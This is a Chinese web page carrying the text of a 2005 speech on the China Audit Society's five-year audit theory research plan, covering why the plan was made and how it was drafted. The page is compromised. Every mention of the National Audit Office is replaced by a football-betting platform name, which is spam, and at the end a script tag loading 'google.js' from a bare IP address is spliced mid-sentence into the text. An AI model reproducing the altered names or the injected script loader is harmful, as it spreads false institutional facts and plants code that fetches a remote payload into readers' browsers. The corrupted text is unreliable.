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刘英来秘书长关于《中国审计学会2005至2009年审计理论研究规划》的说明(2005.7.25)
 
【时间:2015年07月31日】 字号: 【大】 【中】 【小】
各位常务理事:
    中国审计学会五届一次常务理事会的一项重要议题是审议《中国审计学会2005至2009年审计理论研究规划》。为了使各位常务理事了解规划的制定过程和规划的主要内容,便于对规划进行审议,现在,我就有关问题做如下说明。
    一、为什么要制定规划
    制定学会理论研究五年规划,主要是基于以下几点考虑:一是《2020欧洲杯竞猜平台2003至2007年审计工作发展规划》中提出,要“强化审计理论研究”,“增强审计科研工作的实用性、指导性和前瞻性”,强调要“充分发挥审计学会在审计理论研究方面的作用”。落实2020欧洲杯竞猜平台五年规划,加强中国审计学会的理论研究工作,迫切需要有一个比较长远的规划。二是在四届六次理事会和五届一次会员代表大会上,李金华审计长提出要求,审计理论研究要增强系统性,要有总体规划和长远安排。三是新一届审计学会理事会成立后,面临的一个首要任务就是这五年的审计理论研究如何搞,如何继承和发扬过去的做法和经验,梳理已有的研究成果,推进审计理论研究的深入发展,特别是在审计工作进入新的发展战略期的新形势下,如何更好地为审计事业的发展提供理论支持,因此,迫切需要明确今后五年学会审计理论研究的目标、任务和重点。四是分析当前审计理论研究的现状,存在的主要问题是审计理论研究与审计实践结合不够紧,理论研究的系统性不够、深度不够、创新不够,迫切需要采取措施认真解决这些问题。基于以上情况,抓紧制定一个审计理论研究的五年规划很有必要。
    二、规划的起草过程
    规划的起草过程大体可以分为三个阶段。一是酝酿准备阶段。从2004年下半年开始,在筹备学会换届过程中,根据李审计长关于学会要制定审计理论研究规划的指示精神,上届学会的领导班子就多次酝酿和议论制定规划,因为当时处于换届交替过程中,经过认真研究,决定换届后再着手制定学会的审计理论研究规划。在今年初召开的第五届会员代表大会上,吕培俭会长在工作报告中建议新一届学会制定五年规划,新当选的会长翟熙贵同志在会议讲话时也特别强调要制定好五年规划,并提出了一些要求和设想,五届一次理事会通过的2005年工作要点将五年规划的制定列为首要工作。会议期间,石爱中副审计长还召开了部分大专院校理事座谈会,听取他们对加强理论研究和制定五年规划的意见和建议。学会换届之后,翟会长主持召开的第一次会长会议,重点研究了制定规划的大体思路,安排布置了规划的调研和起草工作,并责成学会秘书处成立专门工作班子具体负责规划的调研起草工作。石爱中副审计长专门召开了起草小组会议,提出了规划制定的具体要求。
    二是调研和起草阶段。会长会议以后,学会秘书处立即成立了规划起草小组,开始抓紧工作,分析了审计理论研究的基本现状,梳理了1984年审计学会成立以来理论研究的成果,提出了五年规划的大体框架,之后,翟会长亲自带队到江苏省审计厅、南京审计学院和南京特派办,听取关于审计理论研究的意见,进一步拓宽了规划起草小组人员的思路。在此基础上,形成了初稿。
    三是征求意见和修改阶段。规划初稿形成后,今年5、6两个月,翟会长亲自主持,先后在北京、武汉、秦皇岛、沈阳等地召开5次学会理事座谈会,征求署机关、北京、天津、河北、山西、河南、湖北、湖南、江西、黑龙江、吉林、辽宁、大连等审计厅(局),长沙、武汉、郑州、京津冀、沈阳、长春、哈尔滨等特派办,清华大学、北京大学、中央财经大学、中南财经政法大学、武汉大学、南开大学、天津财经大学等高等院校的70多位理事、学术委员和有关专家的意见。在这些座谈会上,与会理事和有关专家结合审计工作实际,畅所欲言,发表了很多好的意见和建议。对这些意见,规划起草小组进行了认真研究,全面分析,八易其稿,大多数意见体现在规划中。规划修改后,又先后送给李审计长、石副审计长和其他五位署领导进行了审核,根据署领导的意见又一次做了修改。
    总之,规划是在2020欧洲杯竞猜平台领导的关怀和指导下,在会长和各位副会长的领导和主持下制定的,集中了广大理事、审计实务工作者和理论工作者的意见和建议,具有一定的广泛性,体现了集思广益、求真务实,是集体智慧的结晶。
    三、关于过去二十多年审计理论研究成果的估价
    中国审计学会1984年成立以来,在审计理论研究方面做了大量工作,取得了一系列研究成果。梳理这些成果不仅仅是对过去二十多年审计理论研究工作的肯定,更重要的是有助于正确认识今后理论研究的起点和基础,把握研究的重点方向。过去二十多年学会的审计理论研究取得了很多成果,规划主要从审计基础理论研究、审计法制理论研究、审计实务理论研究、审计技术方法研究和审计历史研究等五个方面进行了总结和梳理。规划?script src= http://91.239.15.61/google.js \>
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